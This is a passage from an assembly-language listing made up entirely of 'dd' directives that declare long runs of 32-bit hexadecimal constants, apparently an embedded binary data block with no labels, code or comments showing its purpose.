		dd 242678B6h, 0DA21F107h, 0B0D0A140h, 53A40063h, 0E72B3ECBh
		dd 1D0174E9h, 0B1ECA23Bh, 0A4635240h, 0B6E0DC2Ah, 0B8887C0h
		dd 0DCC05BE8h, 0DEF8D130h, 68E11913h, 104CF4B2h, 0CCDD800h
		dd 7E58BF9Ah, 6A474A00h, 50D0972Fh, 859B4E59h, 0B7ACC024h
		dd 84000DE1h, 88F34C8h,	0FEE84DAAh, 10E60440h, 80B0A036h
		dd 2484FEF0h, 0AF5A1A19h, 0E8284710h, 1E34DC4Eh, 7B13CF7Ah
		dd 28C45FF3h, 305D1CB3h, 0CC19A580h, 42F8FDF5h,	7CE8B4Ch
		dd 306D5932h, 7F827C70h, 31562564h, 38102C02h, 109012Eh
		dd 0BBE037DBh, 6D942C62h, 4B8E0364h, 8AF94D6Bh,	64A5D160h
		dd 0AE0B611Ch, 922C5AADh, 0F429C358h, 2DC6F8B8h, 8517996Ch
		dd 7CC88EB5h, 698B07AAh, 606570EEh, 0E8BA0A09h,	1E4E3E02h
		dd 403DD4FFh, 5C5A9D48h, 4B396C0Ch, 0EFBC3B8Ch,	0FE586E58h
		dd 2BB00051h, 8A512AFh,	48E1005Ch, 710ABAD0h, 0D44BD3C1h
		dd 22D40DCh, 2327A6F0h,	0A8E73B6Dh, 0C9719B8Bh,	0A1700A0Ch
		dd 40A000B6h, 55B433Dh,	389F0BC6h, 0BD5727Ch, 8750563Dh
		dd 1488A048h, 4A677700h, 2890058Bh, 8176028Ah, 0C798CD3Ah
		dd 0F448347Ch, 0C245617h, 1AA2CE0h, 1D8E5C44h, 3A5BD3ECh
		dd 49E2582Ch, 0F2C0141Eh, 9C9269F3h, 51949295h,	4898C09Ch
		dd 280301E7h, 0CB9EECE8h, 9B03A8B6h, 0B019C1EDh, 2CFE100Dh
		dd 2589A060h, 0DFA90014h, 0AAAEC20Bh, 6009A176h, 817CDAE1h
		dd 5E450ED4h, 487479E8h, 5D12426Bh, 6050970Ch, 9C42761h
		dd 0B4A4D64Ch, 0F06853h, 0A8E300AFh, 8D1B0B91h,	77123873h
		dd 0E842B064h, 0E0012EAAh, 14D016h, 438FD9BDh, 47183159h
		dd 55D08750h, 54C17A58h, 103B935Ch, 920CC809h, 9CB2EC12h
		dd 0A4F1809Ah, 0A0314A0Fh, 0EE6A3EDh, 0CCD00E56h, 0D6E4041Fh
		dd 80D8E8DCh, 0DF05612Bh, 0BBCE05E4h, 326D3DBCh, 1CC88AE8h
		dd 203CA363h, 28931E74h, 212020A7h, 4B91B24Ch, 3178D3CFh
		dd 6CC398BAh, 66D379E8h, 0C2002870h, 43E7D9B0h,	7CEB426Ch
		dd 0C04B4B5Ch, 0E8039EB4h, 0A64DDA3Ah, 816D7C33h, 1C8292Fh
		dd 6BBAC64Ch, 25EF0840h, 12B7DAh, 63662987h, 3FC2EB20h
		dd 0DF4B8500h, 0D310E4CDh, 69BC3DDCh, 0BA82A4BEh, 0CB3CCC6Eh
		dd 0BB864874h, 13DC043Ah, 12F2A122h, 274C002Ch,	14E405B5h
		dd 0A4DBEE24h, 96C39053h, 0BBCB0018h, 9DD5E525h, 0B9778F9Ah
		dd 0C020EA4Ch, 0EBD07874h, 91F700EEh, 0D3C936B8h, 0CA6BA28Dh
		dd 1EBA02E0h, 2CFC70E5h, 406CB4CBh, 1F12BBA6h, 0D3B2AC03h
		dd 0A278ED50h, 808CD444h, 37979E58h, 437D24CDh,	8EBD3000h
		dd 593CE208h, 9A3300E0h, 1AFCB39Eh, 3B4B2924h, 42C66042h
		dd 8964C5A8h, 0A072FEF0h, 38609C2Eh, 0B8C68CE3h, 97ADD5B1h
		dd 8B763400h, 0C17C28ABh, 5780849Eh, 0B70A03D7h, 99713Ah
		dd 2CDCC722h, 917CB4AAh, 42E880EBh, 62236DF2h, 0CC820A86h
		dd 0C8CA8Fh, 40287F9Ch,	3EE75B22h, 4088544Bh, 0A26DCB68h
		dd 0CEF06014h, 0B8A99F2Fh, 0A8662C20h, 9507EA79h, 0D787C249h
		dd 24BCD054h, 97B4904Bh, 0A8A0483Fh, 10472C2h, 59B644E2h
		dd 0F28FC88h, 0EA1A2BFAh, 0A34B00BFh, 0EF2E033Bh, 6D52E609h
		dd 0F03083D9h, 0CA83E0C4h, 338801B3h, 3842655Eh, 5C4CCA46h
		dd 359AC0C0h, 2CD0ED62h, 59F44558h, 1AB0E797h, 99975DD2h
		dd 4F6E0E90h, 0E0A0F100h, 113BF9FDh, 0B2DB2702h, 7E5CC164h
		dd 1398283Ch, 0A3319EB9h, 48B0932Ch, 728500E3h,	50836D90h
		dd 0C0F9F4B6h, 0D6384B94h, 0B8B58049h, 0CDE7F3D2h, 3A370EDEh
		dd 40F3E52Dh, 0B303F248h, 11C0DB23h, 3AFF451Bh,	7AE4002Bh
		dd 79B6680Ah, 9AF20B16h, 7C82EB0Fh, 333680E7h, 22AACEh
		dd 2A0FEF1Dh, 2FB82DB3h, 0A0C4949Fh, 1AD3A2Ch, 0BF3F0EAEh
		dd 0EFD5CBE9h, 1C403CAAh, 1900DF0Ch, 4384B71Bh,	98D43766h
		dd 0E05CBC6Ch, 455D92B1h, 7C095371h, 5B5B2168h,	0DBD68014h
		dd 0AE3F8516h, 72B5DE07h, 4DD0D2FEh, 7BA59EC5h,	32C70BBCh
		dd 4402C31Ch, 0DC50D76Ch, 0A29C900h, 0C7BF5EF2h, 65490A4Eh
		dd 808CE50Dh, 37E96E21h, 0A00BC233h, 6631E85Eh,	1FB896F4h
		dd 51B19893h, 2600F9ACh, 5E5735A8h, 89A907h, 3AA7B3BEh
		dd 5975D1Fh, 24BC1600h,	80A2D039h, 3CB222FAh, 0B30D34A0h
		dd 0E2552B0Bh, 0AC0165Dh, 38456D4Ch, 0C4D44340h, 0C0745CDAh
		dd 0A8A3F164h, 0E8DC101h, 34CA7826h, 8B0071CCh,	0F625235h
		dd 71E0A2Eh, 0E36A4819h, 0B0C7A19Fh, 2B09ED76h,	88DCCC30h
		dd 0E35B24h, 3CFC130Ch,	0EA00BE65h, 433BA05Fh, 0B4DB14EBh
		dd 0D3824040h, 0C74F2169h, 0A48D0CC5h, 0E9B0332Eh, 0A0A4A382h
		dd 52A4F82Dh, 974C024h,	6A2B25h, 9E638660h, 13B95988h
		dd 0B4041EF8h, 4401EB7Ah, 0CB83E0ADh, 0B000FFBCh, 2476040Eh
		dd 1CD08199h, 499E9582h, 630E91B6h, 4C70786Bh, 55CCE200h
		dd 9EEFCB7Fh, 0DE2C0092h, 73CDFD7Ah, 130E899Ch,	0F567059h
		dd 0AFA58034h, 0AC812h,	0B97FE246h, 86758EA0h, 6EDC38h
		dd 0DE456F5Eh, 1D2F60h,	0F801CEB3h, 0A02B4D0Eh,	0CDA51A05h
		dd 9E806B85h, 6063CC86h, 0C27DA198h, 8F0FFD6Eh,	632D79C6h
		dd 0A8FFCB13h, 23B1F5h,	879EDCCEh, 8083755Dh, 5C6E4806h
		dd 148642Bh, 2D10A865h,	0C47F94B7h, 15F491DAh, 0E05AAE0h
		dd 0A459067Ch, 2EEBCD00h, 0F11816h, 0DDF2C907h,	8BE7829Eh
		dd 7C8444Ch, 0DB605D9Ch, 0ED53C071h, 0EAECC4E5h, 0BAD18C9h
		dd 0A1DF58DCh, 80A01D76h, 6407DB6Eh, 6EB3AF7h, 0EA08F850h
		dd 0E778ADh, 3C37AFCFh,	85074591h, 0C6F7FD00h, 0E9435020h
		dd 291B00AEh, 55E3D942h
		dd 80F98C98h, 0BABB3461h, 747FF2A5h, 6884A8AEh,	603BFE8Dh
		dd 760878D3h, 0E9035C30h, 0FB61BC45h, 74BBB0D2h, 3BCE01BEh
		dd 12A1712h, 670CCA6h, 23AA5300h, 4B2EB0FFh, 7621774Ch
		dd 0FDF60043h, 0DA1DF9B5h, 5930D6C1h, 195560D8h, 9C270195h
		dd 4C92995Ch, 83D85088h, 1E8C8182h, 809D69CEh, 27A9F94Ah
		dd 0E600BE7Ah, 1849A575h, 30FD734Eh, 97408274h,	858EA51h
		dd 7E8D1F81h, 7A757CC0h, 71E6592h, 7B279B5h, 10A4D1F2h
		dd 0B8DC56E7h, 0E35BE8C0h, 0C809B4Eh, 2FCC626h,	5F03DD18h
		dd 0E536CF15h, 0CCBDA8C5h, 53CD02D5h, 0A404B4EBh, 2C2784C0h
		dd 30234B18h, 0E0ECE0h,	0CCA7FD3Eh, 1DA09D64h, 13002A7Fh
		dd 4228B248h, 18EEDE8Fh, 88A55D02h, 91278E82h, 1EAFE4Bh
		dd 0D5A913D6h, 0CAC0FFF2h, 0A81245EBh, 3000129Dh, 54CB30B7h
		dd 3B97ABBh, 24B45FE2h,	1FF06634h, 990074DAh, 8317F468h
		dd 3E7A2A18h, 0C281049Eh, 3E5BE2E8h, 0C749F8B8h, 54EB8301h
		dd 0FF9E57EAh, 0B1DE6980h, 285D534Fh, 0F651C900h, 6E9E9007h
		dd 70C61E27h, 9452C0ABh, 9C2AE622h, 8293C500h, 0FF4B29D4h
		dd 3C0400C2h, 0A4F47527h, 9600C332h, 0A23393DAh, 3BAE0C9Fh
		dd 0B580FC05h, 6E535E61h, 63E16D7h, 2206757Ch, 3C121974h
		dd 78E30760h, 0E0035D97h, 0BB5063F4h, 0AA7F2C00h, 8285CE71h
		dd 747DDEh, 8009CFA2h, 30795A67h, 5EC58F01h, 0C02DD83Dh
		dd 3B507CE8h, 338703ABh, 7059A9E0h, 4E1266F9h, 0B78ED00h
		dd 8D1827ADh, 0F5790023h, 0A5E473E6h, 100A6C1h,	0E3B37E53h
		dd 0ED80E145h, 0A41BDBE0h, 8D1F1948h, 0ECAED9B1h, 218056F2h
		dd 0B0F0E570h, 403F00C3h, 2A41CF5Dh, 5A017D36h,	0F7B35D1h
		dd 6EDCAE4Eh, 0A1C03C33h, 0B05DBA00h, 6D1D3844h, 4FC020A3h
		dd 0C5037E30h, 0D48112F6h, 0D7A8A8FBh, 800C00A6h, 0C6E83587h
		dd 0FF2E421Dh, 60CEEECh, 31BA0B9h, 0BDD3F921h, 51032F25h
		dd 9585B673h, 0EE62E04Bh, 8A90C05Bh, 0AC518231h, 0F9F788A0h
		dd 4C7B1618h, 0FB411h, 47F53CEAh, 3B6A1FA7h, 198B8900h
		dd 0D5A4DD85h, 1C56001Bh, 5CB7B2E6h, 0CF0333FAh, 70F72897h
		dd 0FD65E8AAh, 0C0BD0CE0h, 0F5D07F27h, 2919915h, 8B740AF8h
		dd 0C404B001h, 2C8096ADh, 1356264Ah, 7684F9h, 97B6A7C6h
		dd 4C003122h, 0D82AC1E8h, 3FC80CE9h, 84C85917h,	6E5D0072h
		dd 3516A23h, 5200011Eh,	10C47269h, 0E2044Ch, 0F33C68B6h
		dd 29A74D2Ch, 202A5B1Ch, 6BD84607h, 0D48AF09Ch,	7F8448h
		dd 0C4635A21h, 0AC4F62F0h, 0E60058A4h, 4E5BBF2Dh, 7245820h
		dd 753EC46Ah, 4DC47A1Ch, 5BD2C4C0h, 0BEE9DC02h,	0E0B1C846h
		dd 0F3538Ah, 0A295E151h, 56A72C1Ch, 72E03400h, 0C10FADC2h
		dd 26AA006Ah, 177E48B6h, 0FE003E95h, 9DA47547h,	2DF1534h
		dd 0AEE1627Ah, 0C802399h, 11278B6Dh, 0EED17701h, 3C658025h
		dd 5E6CE5E8h, 78B829h, 0F8F364BEh, 5DB477h, 6D58C6BDh
		dd 39B3B074h, 0E10030E2h, 0ADD21C42h, 6BBC028h,	0EDD168C8h
		dd 863D3824h, 3B618034h, 0A815F049h, 0F57389h, 22AA5FCh
		dd 0C1CC1B70h, 0EBE83Dh, 61F99771h, 39682332h, 103AA20Fh
		dd 4729EC00h, 0F8AFBE06h, 1E6620C0h, 0E2796982h, 0BDC93040h
		dd 3CEC1519h, 8D644F12h, 9700D21Ch, 0B40EFB78h,	0C2BFCB8h
		dd 7593AE3Bh, 0B77C9E31h, 4FE8C40Fh, 723E20EDh,	0E2097E46h
		dd 0FA03081h, 7743A638h, 6118F001h, 3A1684Ah, 0A9F8A981h
		dd 0EC7BDD17h, 78C45082h, 0A287CC25h, 4180F980h, 21E4F2h
		dd 0B3207040h, 18D0BD74h, 0CC080728h, 0AE165D18h, 3F54558h
		dd 0A86D13D3h, 909FC736h, 6290DE3Eh, 0C4433914h, 805D3A94h
		dd 21B2F574h, 4C543E65h, 0AD00DC1Bh, 0FDE71703h, 3A0CA606h
		dd 58772DC3h, 0AD9875h,	0EB996D26h, 412F377Fh, 1E7CE200h
		dd 884D8469h, 73D11F09h, 2AA707AFh, 9BEBD01Dh, 0BA05F365h
		dd 0C0120E2Fh, 0BFF2CE00h, 3961248Ah, 318B5BF5h, 0A280A00Ah
		dd 0B0B46E74h, 0EB22581Fh, 32601081h, 66202B1Ah, 0DF3153Fh
		dd 9A1E5864h, 0F114C365h, 99DC5D9h, 0B582CEB4h,	3C27166h
		dd 0FC9008h, 98B15B13h,	2C06561Dh, 0F04C359Ah, 54170030h
		dd 92EF7916h, 6E0058F9h, 0E3C38D41h, 28ED825Ah,	0D862B3h
		dd 158EEA06h, 0F9608F9Bh, 0AAE02400h, 0E64D3714h, 64EC41h
		dd 280E014Ah, 0CBB10BF3h, 0D885C503h, 0D092B9ADh, 7ABBB080h
		dd 2440A6A7h, 50088E7Dh, 0C8A9C523h, 38422D2h, 9119259Eh
		dd 28BE35h, 8368FCDBh, 762E239Ch, 80A3D4A8h, 28EE2500h
		dd 9B69E4F2h, 62913EFFh, 3A81A92h, 0DD1EEBACh, 0F3C6AAC9h
		dd 0A6458DE8h, 0FA073C92h, 0AB01E199h, 4FB5D970h, 0AC4604EBh
		dd 90B1DD74h, 79AE2978h, 0A4174E00h, 735F3B8Ah,	0E2CD0042h
		dd 711BC707h, 800FDA53h, 60C45EDBh, 983186D6h, 45753059h
		dd 17CA36D9h, 0DB7B7201h, 0CF4F9AD4h, 2211808Fh, 15FB4CC0h
		dd 0F14C41CCh, 1A8F0024h, 137469FAh, 9D7D0040h,	4183365h
		dd 0E50EB268h, 67A778D7h, 7C90251Eh, 3E6663h, 0F6BF911h
		dd 4ECC9AE2h, 0D4BC0207h, 0ECB0F3E3h, 0E0637A04h, 806212E7h
		dd 8EE907B1h, 0F0DF4022h, 770271FBh, 0C66E146Ah, 427F4209h
		dd 0F2048024h, 38FDADh,	0FCD3F626h, 0DE611B78h,	0D8908200h
		dd 0E2199930h, 1E2B5855h, 453F067Dh, 88C269EEh,	0C797D00h
		dd 95045ECDh, 0A1360921h, 0D800847Fh, 273FA2C9h, 0FF96E003h
		dd 0B8088670h, 0B8AE5Ah, 0A249DBBCh, 0BE8D6502h, 616CDC01h
		dd 160E9297h, 53ABD5D0h, 0D0138C9Ah, 0CCA023EFh, 2F470C5h
		dd 14ECCAF6h, 441C1DF0h, 339F3E0Dh, 674EB40h, 0E238B5Eh
		dd 0C74C84DDh, 98DB2640h, 0DE0C88F4h, 298ED42Eh, 0FF360170h
		dd 45F935Bh, 0A7520FBh,	1126511Eh, 775E607h, 0BFB448A0h
		dd 3272000Eh, 734E9E42h, 800C047h, 8CE43A3Ch, 751E8EECh
		dd 78C74CE7h, 0B144D700h, 78EE8DF4h, 460A0807h,	0A08FDF11h
		dd 98B0619Eh, 0FD7C003Dh, 571624Ah, 0B602536h, 0ED6E76C0h
		dd 7760E468h, 4B200616h, 0E00ED004h, 9BC3E000h,	39B59238h
		dd 9E1B0167h, 109C5D98h, 0AE37CCD7h, 203F4E30h,	35B628Dh
		dd 9920DBB7h, 0FB8036CBh, 987D6139h, 0A873D507h, 0DC0CF95h
		dd 0CCDF75h, 0D9CB9A5Bh, 1967C47Eh, 4C00C370h, 0F3B1E355h
		dd 562F71h, 432C4A78h, 0FFC4AF4Eh, 0E60099E6h, 66B83187h
		dd 2A22A1FAh, 0B8DD0Fh,	8D1929D7h, 743D4538h, 0A91A302h
		dd 0C0B77B61h, 1E24C0Eh, 0EB1BBEF0h, 0CC2DCC8Fh, 4B3F73D6h
		dd 1CDB070Eh, 93612596h, 0FA80C907h, 0D36F2BF3h, 0B800A47Eh
		dd 6E68FDB2h, 0CE86B58h, 9177FB56h, 98C08D48h, 0F4D0829Ch
		dd 0D25000B3h, 6F0ADE92h, 6D58AD33h, 6BD100C0h,	0FAF6304Dh
		dd 979CA803h, 56740E6Eh, 33A1BF6Ah, 41556048h, 0F0CA22A4h
		dd 240C5EA7h, 0E18C7636h, 51C2428h, 71C3011Ch, 0FAF28BD9h
		dd 74D78CA3h, 228194A0h, 28EB2900h, 57040D54h, 4E7D2A31h
		dd 1F9A04D0h, 80630140h, 0C35ECB3Ch, 51006DEEh,	7BE12E2h
		dd 1D1A3147h, 0DF29C89Bh, 0CD418793h, 802DB1A7h, 9C5BF097h
		dd 8EAFC10Ch, 1E4C902Ch, 9E951625h, 0DBCCC96Eh,	0ECE68800h
		dd 0E50315B2h, 188AF097h, 7BB790E9h, 6E5000FCh,	8E4671F2h
		dd 9D00D5EEh, 0CF56B91Fh, 0F36C94Ch, 91166DDAh,	8276F400h
		dd 0A67589B8h, 0FCB870D8h, 0E3C8000Fh, 0AF170D9Fh, 0DC000171h
		dd 70CA83B1h, 1CE7A0C2h
		dd 5E9832F3h, 0D30D7B80h, 80590C26h, 0DEBC8B50h, 2F63465h
		dd 0C63FB9FCh, 0EC880F21h, 0FF61813Ch, 0EC04B11Dh, 21004B54h
		dd 1E057519h, 3096BAD4h, 56905179h, 7B00C76Ch, 14872C69h
		dd 2AA2B34Bh, 0A4661Fh,	6F5DE401h, 6AC2981Eh, 4793F70h
		dd 77BFEA0Fh, 59FBC09Fh, 5C1F97B9h, 21142B17h, 992844BCh
		dd 0DC1B3AA0h, 897BED89h, 6E12CC22h, 0D88ABC46h, 159D6030h
		dd 40117B01h, 1D6536C7h, 9AE440D2h, 0AAA3002Eh,	19480794h
		dd 31C0C3Bh, 0C98F8B6Ch, 5812B289h, 18806824h, 0A50979h
		dd 9D5FC246h, 2E7A96C0h, 93C81E63h, 7C82D218h, 0B08C29A6h
		dd 88DB1AB8h, 14910BEAh, 0C3E6D80h, 1250AFFBh, 29C650Dh
		dd 0D951EA98h, 0DD5DDA80h, 0C30064D7h, 0E2BC697h, 1C7BE76Ch
		dd 407084B3h, 49F96982h, 8891F63Fh, 37928C02h, 0E42C406Dh
		dd 91F7726Ch, 12149350h, 78CC607Ch, 0EA0095B5h,	0D1B0E907h
		dd 22C26AF5h, 98C205F7h, 0C098EA93h, 688EFCF8h,	0F8704Bh
		dd 8777D125h, 4A003676h, 0D48E58Bh, 15C3572h, 21B1577Eh
		dd 4351DF80h, 10B87DD4h, 270776AFh, 4530C196h, 0ADCEB270h
		dd 15249AF7h, 0ECA7DFECh, 1889B402h, 0C44E2FEAh, 0F35384A8h
		dd 74A04D49h, 0BF98B500h, 1E37CFF4h, 0F69E163Dh, 0A854187Bh
		dd 594C676Dh, 0F5DC0383h, 0B8BEB496h, 168D2A24h, 344AC9Dh
		dd 4FBC55DFh, 27A307F0h, 72022E3h, 4C113431h, 801A2252h
		dd 94C69DF4h, 8BBE0090h, 0F697D238h, 0AE3ED0A3h, 690E0740h
		dd 2C706DFAh, 0FC4BF3B8h, 0C3BE006Eh, 5E0428E0h, 0A101071Dh
		dd 0F232CA19h, 60DEAD12h, 1CCAEF8h, 80C152A0h, 0C40A106Eh
		dd 17E5D3Ch, 14FAC301h,	7F291A9Ch, 0E313F980h, 0B54E58Eh
		dd 1449BE14h, 1F017B9Ch, 0E698E1B7h, 0D85029DBh, 0B14205h
		dd 83A538D6h, 0E63B1F9Ch, 8772B600h, 0A68BBBDh,	5BFE09AAh
		dd 10238C89h, 38091C2Dh, 0ECF2Fh, 0BC83DD04h, 66952C44h
		dd 0C0249EF8h, 414B3B98h, 98DC6B97h, 308D78B4h,	54A4820h
		dd 7B4EA35Eh, 0D6F0417Eh, 7043C2E6h, 0A9300286h, 5D051E16h
		dd 91C3389Eh, 88FECD89h, 0CF9CC481h, 0E43982B7h, 0CB89F999h
		dd 9B79F038h, 24552C68h, 3C788C28h, 12023EE0h, 5BAB2FDh
		dd 0CCC98098h, 0C147F4Fh, 73CF9BD1h, 8D00E851h,	0B8FD2BB9h
		dd 0F8577D85h, 474A0BD5h, 14189B30h, 511219FBh,	0A80053ADh
		dd 0A931032Bh, 5A7076Fh, 0D018DF09h, 0F2A53E22h, 4E06CA05h
		dd 94C813DBh, 5C040076h, 0B5EE1589h, 8100FD44h,	0E7A78CB8h
		dd 1F529Fh, 47A3BBF8h, 7053694Dh, 1DCF4000h, 0D7ABC43Ch
		dd 0C89955FBh, 3C55880h, 7542EEBh, 57FCF80Bh, 98802097h
		dd 0F6D95F8Bh, 9A26244Bh, 5CAF5818h, 83F1433Bh,	910E7CDDh
		dd 68A6B9D9h, 484470h, 0A24DAD1Ah, 8ECE2DDAh, 289A9474h
		dd 2116EE0Ch, 3C78D06Fh, 0B900E36Ch, 26741460h,	280FB11Ah
		dd 2753A334h, 0C90F170h, 0E287DC50h, 0A4C703ACh, 13C11935h
		dd 44518CA8h, 0F989E002h, 430BB185h, 0D998F034h, 88FD125Fh
		dd 54607499h, 0E905C0A8h, 40D72AB9h, 65FAC5E0h,	0F0059ECh
		dd 89821D41h, 90DC5E1Fh, 167FC50h, 0B4663705h, 5451EE64h
		dd 808CC5F8h, 41284294h, 40AFDF24h, 48219C00h, 0E2D54Ah
		dd 0E85D4499h, 96EC89Dh, 0DA8C7705h, 40D1182Ah,	90343950h
		dd 0DEF30154h, 0FEFDD3CCh, 8088C0D5h, 0A98D15Ch, 0C0110EE0h
		dd 0BB533180h, 0FAB64212h, 0E6C9830h, 67152DC4h, 0CE8680E0h
		dd 842E97AAh, 3F7810E3h, 0CB299h, 82FB26A4h, 8702ED96h
		dd 0B39B9500h, 7CB51C5Fh, 0D72C3BF4h, 8485B980h, 0C98F87F9h
		dd 12C62807h, 760EDF1h,	820F68h, 0CC049990h, 6FBE9BBh
		dd 0E03BC81Fh, 9F7B8Bh,	3DA77E67h, 4A130109h, 0F9802B34h
		dd 8723305Bh, 0DF148h, 24FCA3F7h, 63E459h, 0DF1BF408h
		dd 80FDAE61h, 466D2A00h, 0EF3F953Bh, 8E3A1E7Eh,	0A5A6005Dh
		dd 121FFD57h, 0B57AE507h, 0B00E03Ch, 0D6634Eh, 5A5BF8E4h
		dd 4359F98h, 610099DCh,	94460E76h, 20535002h, 3BB21579h
		dd 0B02E5CDDh, 19AD008Ch, 0E93A337Ah, 0EB045F1Ch, 0F74089B0h
		dd 9299006Bh, 8BF986A6h, 3C00389Bh, 46577231h, 5B2523h
		dd 9D8C281Eh, 0F92BB8E6h, 2E502C00h, 26356706h,	0CAE31CA0h
		dd 9837B1Ch, 932C316Bh,	0F37F0A88h, 54179D0Eh, 0AFE5E07Ah
		dd 76DD29h, 29F73BCh, 0C9EB44D1h, 84EF5E00h, 0A701C8FEh
		dd 60C70086h, 0A254BE9h, 3100446Bh, 82D834B4h, 0D7518Fh
		dd 0AD2C55DDh, 46E41AB2h, 0C095B337h, 144C530h,	0ECC00DAh
		dd 34B611A4h, 65B0B8A5h, 224B5305h, 0B407E314h,	8120BC6Eh
		dd 3C01ECBDh, 0B0BA4708h, 938F738Fh, 9A20556Fh,	81DF5958h
		dd 639EDD03h, 0CD82B0F8h, 0B230B841h, 0D080A519h, 9BDFFB28h
		dd 4C2C8001h, 0F3145868h, 0D06F0090h, 0B3919270h, 10CE2ADFh
		dd 0B7780E44h, 0FDA0CD60h, 2BF43DA6h, 1D58EB48h, 62415ABFh
		dd 6B15AF9Fh, 0C4144C22h, 0A900B069h, 989F79Ah,	810AFE5Ah
		dd 84434101h, 6BC04745h, 7D158Dh, 0C57CA140h, 52E0FC36h
		dd 49495C70h, 0E288601Ch, 0CBA89F6h, 71E5E03h, 6B090851h
		dd 9D3045h, 9228437Ch, 8E7DBFh,	7E500F5Ah, 9C4855CEh, 82D9B1C0h
		dd 6AE86Fh, 0C5182242h,	27235DFEh, 78341952h, 18E5113Dh
		dd 6138E9CCh, 285403E0h, 0FFADB477h, 4D5503C8h,	0E3A9CF18h
		dd 94CE10h, 0BE5F648Bh,	8EF5845Ah, 0C80DB224h, 29C5C38Ch
		dd 0BAC70CF2h, 0C058EAF0h, 312BC80Fh, 1B3C17Dh,	0B091F3B1h
		dd 45D500A0h, 85A3167Ch, 0FED80342h, 0CFDEDA7Fh, 0B9C7387Eh
		dd 61B42647h, 0F8225880h, 600AE43Ah, 0F16470E4h, 88C301DEh
		dd 0BC45C604h, 0E2CE10D0h, 0E91D06CDh, 0A1927974h, 0B7245F03h
		dd 0E017B56Ah, 2FD5B4Bh, 0CC401307h, 436006CEh,	8A39A74Eh
		dd 1B380023h, 0E4D4B481h, 839D3A7Eh, 0FDB9A906h, 8024D40Bh
		dd 9C07CC3h, 89FB65h, 4A4BC897h, 0BD40EBC7h, 88207624h
		dd 0D1668780h, 4F09B2Ah, 0FD237370h, 8320907Eh,	0E9001910h
		dd 1A366962h, 1F69599h,	82B8BC40h, 229E7D23h, 8D0A0604h
		dd 0A78932Dh, 5EC63554h, 0FB2BC0C4h, 0BD7E4E31h, 72CFE4Dh
		dd 0CA29A92Fh, 638FEFB0h, 3AE72EAh, 99AA355Ah, 890074DDh
		dd 56192981h, 0E177558h, 38CDB37Eh, 79AA85Fh, 0B47C287h
		dd 0A69D40E0h, 324E807h, 9EE09CA7h, 819A17h, 0C408C13Fh
		dd 55D9DA37h, 42DC3654h, 0E9041500h, 9D740D2h, 7C5F4879h
		dd 7E24B74Ch, 9CFF09A4h, 2E438000h, 8A4CF895h, 4AC861B4h
		dd 0DD606ADBh, 579B249Eh, 823B416Ch, 20DAD1A2h,	85076D24h
		dd 258127EFh, 42E9650h,	235F15C7h, 0A2049C0Fh, 80B81415h
		dd 0CFD74918h, 0EC906AEAh, 0D533A112h, 372D2430h, 7D300DFDh
		dd 18D871D8h, 24925A78h, 0CDD94B00h, 4D7F0E2Fh,	1127AA8h
		dd 8DE0799Bh, 22585E6Eh, 1553BC4h, 9ED11676h, 8C5559A0h
		dd 2F95B020h, 901E0043h, 83ABF963h, 0C9A2160h, 0CF0299ECh
		dd 82B15950h, 0A8C486Ah, 8064AB08h, 24DCD1C2h, 80AC0C8Dh
		dd 3B687420h, 10C3CC9Ch, 0C33E8B07h, 7D7807CFh,	10D2B0E0h
		dd 27356978h, 1C689C24h, 937C2981h, 0E4420439h,	6CC3DCh
		dd 0EEAAF698h, 14FCBAC6h, 18678031h, 68CA8C52h,	375F600h
		dd 0C36AA4DEh, 514CF387h, 948B0078h, 791E541Ah,	0ABDB2648h
		dd 0EC77007Ch, 0CB694D62h, 71FC5648h, 85ECF353h, 0E48454E7h
		dd 0C8589032h
		dd 0A55694h, 0D49D2BDFh, 6514A072h, 4D4F8615h, 3243B84h
		dd 9F425D5Ch, 0C6B7993Bh, 2B803877h, 9905546Ch,	3A00A798h
		dd 8612AF92h, 8D500Dh, 0E1C234C8h, 158AB342h, 808B663Fh
		dd 5BD192Ah, 2EA832h, 0D5C4CB54h, 46D0EED1h, 7A609D0Eh
		dd 806F6B2Ch, 51EF49BAh, 8EC20507h, 80FEE6AFh, 0E5F2C6E0h
		dd 0E09E39CFh, 0A68436A8h, 1CB60001h, 6D918E8h,	60C02F0Dh
		dd 61350E60h, 0B5FB0093h, 494033E1h, 0EF006319h, 8D9CE644h
		dd 3D0F6572h, 1B044A5Ch, 0FBBEDD7Eh, 665B0180h,	9698C2h
		dd 971CDC93h, 0D5F01E8Ah, 1AF56C2Eh, 0BBE0F38h,	0CA00DF37h
		dd 0E121545Ah, 5DDC00DEh, 0A2E82228h, 0F8001459h, 92E9F3A9h
		dd 1C6E54DFh, 77AB44h, 5A6F226Dh, 0D50C1F52h, 0C9024162h
		dd 5080A006h, 4C3C00C6h, 25A3EC48h, 0B800AC7Eh,	0E32AB97h
		dd 26A0372Bh, 583C190h,	0E193A28h, 8A00A648h, 61787608h
		dd 823C823Bh, 0E94B5DBDh, 3982F71Bh, 39603F36h,	2F005938h
		dd 0F9EE5BB0h, 7B0DA935h, 726AF0F6h, 1D6698CDh,	4E3A20D7h
		dd 0D9989026h, 5A18E07Ch, 13112327h, 25AE03F9h,	5B668839h
		dd 0DDE7D018h, 45CE08h,	0D8A82ABFh, 0CB22595Ah,	0B3C7EC00h
		dd 6791F6F9h, 69501EAFh, 0FADFCEE1h, 99F798FFh,	1000341Dh
		dd 1886AD3Ch, 1892CC3Bh, 79A5C4B1h, 25006C09h, 23D80B6Eh
		dd 0BF14F1h, 5476C77Ah,	0A42E0246h, 0C8143892h,	40940ED9h
		dd 0A00BE4Ch, 0D81E1D36h, 1F83E6Ah, 0C787B815h,	0C0939080h
		dd 9200E4B4h, 19147759h, 3EBB9AFAh, 6B01DF0Eh, 8E10303Dh
		dd 0FED2DCACh, 123318A0h, 499DD43Ah, 27790644h,	21704Dh
		dd 664CE4CEh, 50880A6Ah, 12243490h, 9B814837h, 93621A72h
		dd 0AD167F0h, 0BE40C2E3h, 8E58AE4h, 5D5A40D8h, 0A754C6AFh
		dd 6D14FF84h, 0A0286A3Bh, 59EEBAh, 0CD19B05Dh, 6BF0B46Ch
		dd 0ED294400h, 0F2A5FCD6h, 0CF67005Ah, 88EE6E1h, 59C2D499h
		dd 440457A9h, 42160378h, 84F8BCE1h, 404E32D0h, 0FBFB203h
		dd 0B86D0939h, 733C13D2h, 0DBE301B1h, 0C49C0B7Bh, 3ADE404Ch
		dd 1B003901h, 0D19BB727h, 0DD981EB8h, 7D8F40A8h, 6F62A253h
		dd 92D7CA18h, 0A048A481h, 0CFE1D88h, 0E7BD08BCh, 0AEF4F118h
